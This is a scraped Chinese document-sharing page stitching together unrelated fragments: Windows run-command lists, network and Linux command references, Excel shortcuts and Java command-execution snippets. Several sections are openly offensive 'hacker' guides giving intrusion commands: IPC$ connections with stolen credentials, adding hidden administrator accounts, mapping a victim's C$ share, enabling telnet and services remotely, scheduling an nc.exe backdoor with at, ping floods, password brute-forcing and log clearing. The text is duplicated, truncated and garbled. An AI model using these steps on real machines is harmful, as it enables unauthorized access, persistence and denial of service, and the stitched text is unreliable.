winver 检查Windows版本 wmimgmt.msc 打开Windows管理体系结构(wmi) wupdmgr Windows更新程序 wscript Windows脚本宿主设置 write 写字板 winmsd 系统信息 wiaacmgr 扫描仪和照相机向导 winchat xp自带局域网聊天 mem.exe 显示内存使用情况 msconfig.exe 系统配置实用程序 mplayer2 简易widnows media player mspaint 画图板 mstsc 远程桌面连接 mplayer2 媒体播放机 magnify 放大镜实用程序 mmc 打开控制台 mobsync 同步命令 dxdiag 检查directx信息 drwtsn32 系统医生 devmgmt.msc 设备管理器 dfrg.msc 磁盘碎片整理程序 diskmgmt.msc 磁盘管理实用程序 dcomcnfg 打开系统组件服务 ddeshare 打开dde共享设置

dvdplay dvd播放器 net stop messenger 停止信使服务 net start messenger 开始信使服务 notepad 打开记事本 nslookup 网络管理的工具向导 ntbackup 系统备份和还原 narrator 屏幕“讲述人” ntmsmgr.msc 移动存储管理器 ntmsoprq.msc 移动存储管理员操作请求 netstat -an (tc)命令检查接口 syncapp 创建一个公文包 sysedit 系统配置编辑器 sigverif 文件签名验证程序 sndrec32 录音机 shrpubw 创建共享文件夹 secpol.msc 本地安全策略 syskey 系统加密,一旦加密就不能解开,保护Windows xp系统的双重密码services.msc 本地服务设置 sndvol32 音量控制程序 sfc.exe 系统文件检查器 sfc /scannow windows文件保护 tsshutdn 60秒倒计时关机命令 tourstart xp简介(安装完成后出现的漫游xp程序) taskmgr 任务管理器 eventvwr 事件查看器

黑客常用的网络命令

实验一常用网络命令(测试工具) 一、介绍基本网络测试工具 1. ping命令 2. tracert命令 3. netstat命令 4. ipconfig命令 1.ping命令(Packet Internet Groper,因特网包探索器)原理:利用网络上主机IP地址的唯一性,给目的IP地址发送一个数据包,再要求对方返回一个同样大小的数据包来确定两台主机是否连通,时延是多少。 利用ping命令可以排查网卡、Modem、电缆和路由器等存在的故障。 ping命令只有在安装了TCP/IP协议后才可以使用。运行ping命令后,在窗口中会返回对方客户机的IP地址和表明ping通对方的时间,如果出现信息“Reply from ...”,则说明能与对方连通;如果出现信息“Request timeout ...”,说明不能与对方连通。 缺省设置时,每发出一个ping命令就向对方发送4个网间控制报文协议ICMP的回送请求,如果网络正常,发送方将得到4个回送的应答。 ping命令发出后得到以毫秒或者毫微秒为单位的应答时间,时间越短表示数据路由越畅通;反之则说明网络连接不够畅通。 ping命令显示的TTL(Time To Live:存在时间)值,可以推算出数据包通过了多少个路由器。如果ping不成功,故障可能出现在以下几个方面:网线、网卡、IP地址。 2.tracert命令 tracert命令用来显示数据包到达目标主机所经过的路径,并显示到达每个节点的时间。因此,tracert也称为跟踪路由命令。 tracert命令通过递增“存在时间(TTL)”的值将“ICMP 回送请求”报文发送给目标主机,从而确定到达目标主机的路径。所显示的路径是源主机与目标主机间路径上的路由器

最全CMD指令大全-cmd最恐怖指令-cmd最恐怖指令

CMD运行指令 开始→运行→CMD→键入以下命令即可: ASSOC显示或修改文件扩展名关联。 AT计划在计算机上运行的命令和程序。ATTRIB显示或更改文件属性。 BREAK设置或清除扩展式CTRL+C检查。CACLS显示或修改文件的访问控制列表(ACLs)。CALL从另一个批处理程序调用这一个。 CD显示当前目录的名称或将其更改。 CHCP显示或设置活动代码页数。 CHDIR显示当前目录的名称或将其更改。 cleanmgr–打开磁盘清理工具 compmgmt.msc---计算机管理 conf—-启动netmeeting charmap–-启动字符映射表 calc—-启动计算器 chkdsk.exe–-Chkdsk磁盘检查 cmd.exe–-CMD命令提示符 certmgr.msc–证书管理实用程序 cliconfg–SQLSERVER客户端网络实用程序

Clipbrd

–-剪贴板查看器 ciadv.msc–--索引服务程序 dvdplay–-DVD播放器 diskmgmt.msc---磁盘管理实用程序 dfrg.msc–磁盘碎片整理程序 devmgmt.msc---设备管理器 drwtsn32–--系统医生 dxdiag–--检查DirectX信息 dcomcnfg–打开系统组件服务 ddeshare–打开DDE共享设置 explorer–打开资源管理器 eventvwr–事件查看器 eudcedit–造字程序 fsmgmt.msc–-共享文件夹管理器 gpedit.msc–-组策略 iexpress–***工具,系统自带 logoff–注销命令 lusrmgr.msc–本机用户和组 mstsc–远程桌面连接 Msconfig.exe---系统配置实用程序 mem.exe–-显示内存使用情况(如果直接运行无效,可以先运行cmd,在命令提示符里输入mem.exe>d:a.txt即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什

最全CMD指令大全-cmd最恐怖指令-cmd最恐怖指令

CMD运行指令 欧阳学文 开始→运行→CMD→键入以下命令即可: ASSOC显示或修改文件扩展名关联。AT计划在计算机上运行的命令和程序。ATTRIB显示或更改文件属性。BREAK 设置或清除扩展式CTRL+C检查。CACLS显示或修改文件的访问控制列表(ACLs)。CALL从另一个批处理程序调用这一个。CD显示当前目录的名称或将其更改。CHCP显示或设置活动代码页数。CHDIR显示当前目录的名称或将其更改。 cleanmgr–打开磁盘清理工具compmgmt.msc---计算机管理conf—启动netmeetingcharmap–-启动字符映射表calc—启动计算器chkdsk.exe–-Chkdsk磁盘检查cmd.exe–-CMD命令提示符certmgr.msc–证书管理实用程序cliconfg–SQLSERVER客户端网络实用程序Clipbrd–-剪贴板查看器 ciadv.msc–--索引服务程序dvdplay–-DVD 播放器diskmgmt.msc---磁盘管理实用程序dfrg.msc–磁

盘碎片整理程序devmgmt.msc---设备管理器drwtsn32–--系统医生dxdiag–--检查DirectX信息dcomcnfg–打开系统组件服务ddeshare–打开DDE共享设置explorer–打开资源管理器eventvwr–事件查看器eudcedit–造字程序fsmgmt.msc–-共享文件夹管理器gpedit.msc–-组策略iexpress–***工具,系统自带logoff–注销命令lusrmgr.msc–本机用户和组mstsc–远程桌面连接Msconfig.exe---系统配置实用程序mem.exe–-显示内存使用情况(如果直接运行无效,可以先运行cmd,在命令提示符里输入mem.exe>d:a.txt即可打开d盘查看a.txt,里面的就是内存使用情况了。当然什么盘什么文件名可自己决定。)chkdsk.exe–-Chkdsk磁盘检查cmd.exe–-CMD命令提示符mplayer2–简易widnowsmediaplayermspaint–-画图板mplayer2–媒体播放机magnify–-放大镜实用程序mmc—-打开控制台mobsync–-同步命令notepad–-打开记事本nslookup–网络管理的工具向导ntbackup–系统备份和还原narrator–屏幕“讲述人”netstartmessenger–开始信使服务netstopmessenger–-停止信使服务 netstopmessenger–-

CMD(网络命令大全)

CMD(网络命令大全) CMD(网络命令大全) netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名例:netstat -p tcqip 查看某协议使用情况(查看tcpip 协议使用情况) netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Supporttools文件夹内) kill -F 进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Supporttools文件夹内) net user 用户名密码add 建立用户 net user guest activeyes 激活guest用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net localgroup administrators 用户名 add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如net start telnet, net start schedule) net stop 服务名停止某服务 net time 目标ip 查看对方时间

cmd常用命令大全

windows XP cmd命令大全 一,ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车,。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。 -t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M 的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。 -l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。 -n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。 说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如"ping IP -t -n 3",虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的IP。 下面我们举个例子来说明一下具体用法。 这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小。从TTL的返回值可以初步判断被ping主机的操作系统,之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 (小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix) 至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对

Java实现的cmd远程控制程序

java不能调用Win_Api,所以直接用Win_Api就行不通了。但是我们可以借助DLL 来实现。 以下就是cmdDLL的实现过程: 首先,用在cmd命令提示符下执行javac Server.java (接下来它将调用cmdDLL.dll的函数 CMD)生成一个Server.class文件,接下来就是用这个Server.class文件生成Server.h文件(执行javah Server.h)。 其次,先写一个.cpp文件,在这个.cpp程序中我们将先前已经弄好的Server.h 要包含在这个cmdDLL.cpp文件中,因为Server.h文件是接下来Server.java中要调用的CMD者个函数的声明。 cmdDLL.cpp文件如下: //begin #include "Server.h" #include #include JNIEXPORT void JNICALL Java_Server_CMD (JNIEnv * env, jclass,jstring a ) { const char* str = env->GetStringUTFChars(a,0); char str_1[100] = {0}; strncpy(str_1,str,strlen(str)-1); char str_2[100] = " > out.txt"; strcat(str_1,str_2); system(str_1); } //end 执行以下命令(需要vc环境): cl/c cmdDLL.cpp link cmdDLL.obj /dll

Windows CMD命令大全

cmd是command的缩写.即命令行。 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命 运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP 中的命令提示符进一步提高了与DOS 下操作命令的兼容性,用户可以在命令提示符直接输入中文调用文件。 在9x系统下输入command就可以打开命令行.而在NT系统上可以输入cmd来打开,在 windows2003后被cmd替代,利用CMD命令查询系统的信息或者是判断网络的好坏。 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CMD命令锦集 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器,是一个监测网络中DNS 服务器是否能正确实现域名解析的命令行工具。它在Windows NT/2000/XP 中均可使用, 但在Windows 98 中却没有集成这一个工具。 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. shutdown-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8. services.msc---本地服务设置 9. oobe/msoobe /a----检查XP是否激活 10. notepad--------打开记事本 11. cleanmgr-------垃圾整理 12. net start messenger----开始信使服务 13. compmgmt.msc---计算机管理 14. net stop messenger-----停止信使服务 15. conf-----------启动netmeeting 16. dvdplay--------DVD播放器 17. charmap--------启动字符映射表 18. diskmgmt.msc---磁盘管理实用程序 19. calc-----------启动计算器 20. dfrg.msc-------磁盘碎片整理程序 21. chkdsk.exe-----Chkdsk磁盘检查 22. devmgmt.msc--- 设备管理器 23. regsvr32 /u *.dll----停止dll文件运行 24. drwtsn32------ 系统医生 25. rononce -p----15秒关机 26. dxdiag---------检查DirectX信息 27. regedt32-------注册表编辑器 28. Msconfig.exe---系统配置实用程序 29. rsop.msc-------组策略结果集 30. mem.exe--------显示内存使用情况

黑客常用CMD命令大全

黑客常用CMD命令大全 net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名密码/add 建立用户 net user 查看有哪些用户 net user 帐户名查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名/delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间,不是上网时间 net time \\127.0.0.1 得到对方的时间, get c:\index.htm d:\ 上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到 127.0.0.1的C盘 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名开启服务;(如:net start telnet,net start schedule) net stop 服务名停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数 /yes可取消确认信息net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置

管理员常用的八个cmd系统命令

一、ping 它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。 -t表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单地实现了。 -l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。 -n定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。 说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如"ping IP -t -n 3",虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的 IP。 下面我们举个例子来说明一下具体用法。 这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒,从这里可以判断网络连接速度的大小。从TTL的返回值可以初步判断被 ping主机的操作系统,之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示操作系统可能是win98。 (小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix) 至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。 二、net 这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车。

在DOS环境下(cmd)编译及运行java程序教程

在DOS环境下(cmd)编译及运行java程序教程

在DOS环境下编译及运行java程序教程—————————————本教程第二部分提供一段批处理代码程序,更加方便快捷地对java程序进行编译运行,提高了效率。 一自己动手编译运行java程序 学计算机或者软件的同学一般会学到java语言编程,为了让学生熟悉java语言及其运行原理,开始老师会让学生学会使用记事本编写java 程序并在DOS环境下运行。首先点击开始——运行——输入“cmd”——确定,编译运行java程序无非如下图中的4步:

序! 1.使用方法 复制如下代码到记事本里,然后保存,并将记事本的后缀名.txt改为.bat,如图: 2.代码部分 _______________________复制以下代码到记事本里,不包括此行_______________________ @ECHO off TITLE java编译程序作者:solo :start cls color 3f ECHO. ECHO ╔══════════════════════╗ ECHO ║请在某磁盘根目录下新建一个文件夹,命名为java║

ECHO ║然后把需要编译运行的java程序放入java文件夹里║ ECHO ╚══════════════════════╝ ECHO _________________________________________ _______________________________________ set choice= set /p choice=请输入java程序所在磁盘的盘符(不分大小写): %choice%: echo. cd %choice%:\java set /p proj=请输入java程序名(程序名区分大小写,不包括后缀名.java): ECHO. ECHO _________________________________________ _______________________________________ ECHO ┏━━━━━━━━━━━━━┓

cmd命令大全

ls显示文件或目录 -l 列出文件详细信息l(list) -a 列出当前目录下所有文件及目录,包括隐藏的a(all) mkdir 创建目录 -p 创建目录,若无父目录,则创建p(parent) cd 切换目录 touch 创建空文件 echo 创建带有内容的文件。 cat 查看文件内容 cp 拷贝 mv 移动或重命名 rm 删除文件 -r 递归删除,可删除子目录及文件 -f 强制删除 find 在文件系统中搜索某文件 wc 统计文本中行数、字数、字符数 grep 在文本文件中查找某个字符串 rmdir 删除空目录 tree 树形结构显示目录,需要安装tree包 pwd 显示当前目录 ln 创建链接文件 more、less 分页显示文本文件内容 head、tail 显示文件头、尾内容 ctrl+alt+F1 命令行全屏模式 系统管理命令 stat 显示指定文件的详细信息,比ls更详细

who 显示在线登陆用户 whoami 显示当前操作用户 hostname 显示主机名 uname 显示系统信息 top 动态显示当前耗费资源最多进程信息 ps 显示瞬间进程状态 ps -aux du 查看目录大小 du -h /home带有单位显示目录信息 df 查看磁盘大小 df -h 带有单位显示磁盘信息 ifconfig 查看网络情况 ping 测试网络连通 netstat 显示网络状态信息 man 命令不会用了,找男人如:man ls clear 清屏 alias 对命令重命名如:alias showmeit="ps -aux" ,另外解除使用unaliax showmeit kill 杀死进程,可以先用ps 或 top命令查看进程的id,然后再用kill命令杀死进程。 打包压缩相关命令 gzip: bzip2: tar: 打包压缩 -c 归档文件 -x 压缩文件 -z gzip压缩文件 -j bzip2压缩文件 -v 显示压缩或解压缩过程 v(view) -f 使用档名

黑客计算机常用命令大全

计算机命令大全 黑客常用命令大全 net user heibai lovechina /add --------加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add --------把他加入Administrator组 net start telnet --------开对方的TELNET服务 net use z:\127.0.0.1c$ --------映射对方的C盘 net user guest /active:yes --------将Guest用户激活 net user guest lovechina --------把guest的密码改为lovechina net user --------查看所有用户列表 net user --------用户名/delete 删掉 net time \\127.0.0.1-------- 得到对方的时间, get c:\index.htm d:\ --------上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm --------本地C盘下的index.htm复制到127.0.0.1的C 盘 NET VIEW --------显示域列表、计算机列表 计算机运行命令全集 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板winmsd-----系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 net use \\ip\ipc$ " /user:" " --------建立IPC空链接 net use \\ip\ipc$ "密码"/user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码"/user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ --------登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del --------删除IPC链接 net use h: /del --------删除映射对方到本地的为H:的映射 net user 用户名密码/add --------建立用户 net user guest /active:yes --------激活guest用户 net user --------查看有哪些用户 net user 帐户名-------- 查看帐户的属性 net localgroup administrators 用户名/add 把“用户”添加到管理员中使其具有管理员权限,

Java实现运行dos命令

Java打印当前局域网中链接的主机信息 public class Test2 { public static void main(String[] args) throws IOException { String[] cmd = new String[3]; cmd[0] = "cmd.exe"; cmd[1] = "/c"; cmd[2] = "arp -a"; Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); InputStream isInputStreamReader= proc.getInputStream(); BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(isInputStreamReader)); String length=null; int i=0; while((length=bufferedReader.readLine())!=null) { System.out.println(length); i++; } } } Process exec(String command) 在单独的进程中执行指定的字符串命令。 Process exec(String[] cmdarray) 在单独的进程中执行指定命令和变量。 Process exec(String[] cmdarray, String[] envp) 在指定环境的独立进程中执行指定命令和变量。 Process exec(String[] cmdarray, String[] envp, File dir) 在指定环境和工作目录的独立进程中执行指定的命令和变量。 Process exec(String command, String[] envp) 在指定环境的单独进程中执行指定的字符串命令。 Process exec(String command, String[] envp, File dir)

黑客DOS命令或其它命令入侵他人电脑的具体步骤

黑客DOS命令或其它命令入侵他人电脑的具体步骤.txt会计说:“你晚点来领工资吧,我这没零钱。”你看得出我擦了粉吗?虽然你身上喷了古龙水,但我还是能隐约闻到一股人渣味儿。既宅又腐,前途未卜。既宅又腐,前途未卜。你被打胎后是怎么从垃圾桶里逃出来的?史上最神秘的部门:有关部门。不可否认,马赛克是这个世纪阻碍人类裸体艺术进步最大的障碍!黑客DOS命令或其它命令入侵他人电脑的具体步骤?_百度知道百度首页 | 百度知道 | 登录 新闻网页贴吧知道 MP3 图片视频百科 帮助设置 百度知道 > 电脑/网络 > 反病毒相关问题添加到搜藏已解决 黑客DOS命令或其它命令入侵他人电脑的具体步骤? 悬赏分:10 - 解决时间:2008-2-28 11:48 哪位大侠指教下~ 本人只会用一些软件和命令入侵,听说黑客不用工具的,非常想了解一个具体的步骤和方法.. 提问者: DYX211 - 见习魔法师二级最佳答案 IPC$入侵 一唠叨一下: 网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). 因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复! 二什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。 利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。 我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘

Windows常用cmd命令-常用快捷键汇总

Windows常用快捷键

? ? ? ?Micsoft Excel常用快捷键 ?在工作表中移动和滚动 ?[命令] [作用] ?箭头键向上、下、左或右移动单元格 ?CTRL+ 箭头键移动到当前数据区域的边缘 ?HOME 移动到行首 ?CTRL+HOME 移动到工作表的开头 ?CTRL+END 移动到工作表的最后一个单元格 ?PAGE DOWN 向下移动一屏 ?PAGE UP 向上移动一屏 ?ALT+PAGE DOWN 向右移动一屏 ?ALT+PAGE UP 向左移动一屏 ?CTRL+PAGE DOWN 移动到工作簿中下一个工作表?CTRL+PAGE UP 移动到工作簿中前一个工作表 ?CTRL+F6 或 CTRL+TAB 移动到下一工作簿或窗口?CTRL+SHIFT+F6 移动到前一工作簿或窗口 ?F6 移动到已拆分工作簿中的下一个窗格 ?SHIFT+F6 移动到被拆分的工作簿中的上一个窗格?CTRL+BACKSPACE 滚动并显示活动单元格

?SHIFT+F5 显示“查找”对话框 ?SHIFT+F4 重复上一次“查找”操作 ?TAB 在保护工作表中的非锁定单元格之间移动 ?处于END模式时在工作表中移动 ?[命令] [作用] ?END 打开或关闭 END 模式 ?END+箭头键在一行或列内以数据块为单位移动 ?END+HOME 移动到工作表的最后一个单元格. ?处于“滚动锁定”模式时在工作表中移动 ?SCROLL LOCK 打开或关闭滚动锁定 ?HOME 移动到窗口中左上角处的单元格 ?END 移动到窗口中右下角处的单元格 ?上箭头键或下箭头键向上或向下滚动一行 ?左箭头键或右箭头键向左或向右滚动一列 ?用于预览和打印文档 ?[命令] [作用] ?CTRL+P 显示“打印”对话框 ?在打印预览中时 ?[命令] [作用] ?箭头键当放大显示时,在文档中移动 ?PAGE UP 当缩小显示时,在文档中每次滚动一页 ?CTRL+上箭头键当缩小显示时,滚动到第一页 ?CTRL+下箭头键当缩小显示时,滚动到最后一页 ?用于工作表、图表和宏 ?[命令] [作用] ?SHIFT+F11 插入新工作表 ?F11 或 ALT+F1 创建使用当前区域的图表 ?ALT+F8 显示“宏”对话框 ?ALT+F11 显示“Visual Basic 编辑器” ?CTRL+F11 插入 Microsoft Excel 4.0 宏工作表 ?CTRL+PAGE DOWN 移动到工作簿中的下一个工作表 ?CTRL+PAGE UP 移动到工作簿中的上一个工作表 ?SHIFT+CTRL+PAGE DOWN 选择工作簿中当前和下一个工作表SHIFT+CTRL+PAGE UP 选择当前工作簿或上一个工作簿

黑客攻击实例大全(超经典,绝对实用)

模拟黑客攻击 一、实验环境 本例以攻击一台文件服务器为例,演示通常的攻击方法和思路。该文件服务器默认安装了Windows Server 2003,启动了Windows防火墙但是允许文件共享。其余设置全为默认安装设置,并安装了所有补丁。 二、需求描述 扫描目标主机 获得管理员权限 安装后门 清除攻击记录 三、实验拓扑 四、实验步骤 扫描目标主机 1.使用扫描软件扫描目标计算机,确认开放的端口,判断操作系统的类型。

2.扫描软件推荐使用X-Scan或流光。 获得管理权限 1.根据扫描结果,尝试暴力破解管理员账户和密码。 2.破解后自动生成报告。

入侵目标计算机 1.使用管理员的账号建立IPC链接,命令为“net use \\19 2.168.10.11 123456 /user:administrator”. 使用sc命令获取目标计算机的所有服务列表,并保存在本地。命令为“sc\\192.168.10.11 query type= service state= all >c:\1.txt”(注意:两个“=”前无空格,“=”后有空格)。“>c:\1.txt”表示将输出结果保存在本地C盘的1.txt文件内。

2.打开1.txt文件,找到telnet,确认服务的状态,telnet服务默认为禁用状态。如果知道 telnet服务的服务名称,可直接使用命令行查看,命令为“sc \\192.168.10.11 qc tlntsvr”. 3.去除telnet服务的禁用状态,设置为自动运行,命令为“sc \\192.168.10.11 config tlntsvr start= auto”。然后启用telnet服务,命令为“sc \\192.168.10.11 start tlntsvr”.

黑客常用的远程控制命令

黑客常用的远程控制命令 1:NET 只要你拥有某IP的用户名和密码,那就用IPC$做连接吧! 这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1 net use \\127.0.0.1\ipc$ "123456" /user:"hbx" 退出的命令是 net use \\127.0.0.1\ipc$ /delte 下面的操作你必须登陆后才可以用.登陆的方法就在上面. ---------------------- 下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户. 我们加一个heibai的用户密码为lovechina net user heibai lovechina /add 只要显示命令成功,那么我们可以把他加入Administrator组了. net localgroup Administrators heibai /add ---------------------- 这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z 盘. net use z:\\127.0.0.1\c$ ---------------------- net start telnet 这样可以打开对方的TELNET服务. ---------------------- 这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。

net user guest /active:yes ---------------------- 这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀! net user guest lovechina net命令果然强大啊! 2:at 一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢? 那么需要用AT命令,这里假设你已经登陆了那个服务器。 你首先要得到对方的时间, net time \\127.0.0.1 将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1 at \\127.0.0.1 12:3 nc.exe 严志梁 这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上. 这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99. 等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马. 3:telnet 这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口. telnet 127.0.0.1 99 这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡. 4:FTP 它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个https://www.360docs.net/doc/7d7570608.html,,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.

相关文档
最新文档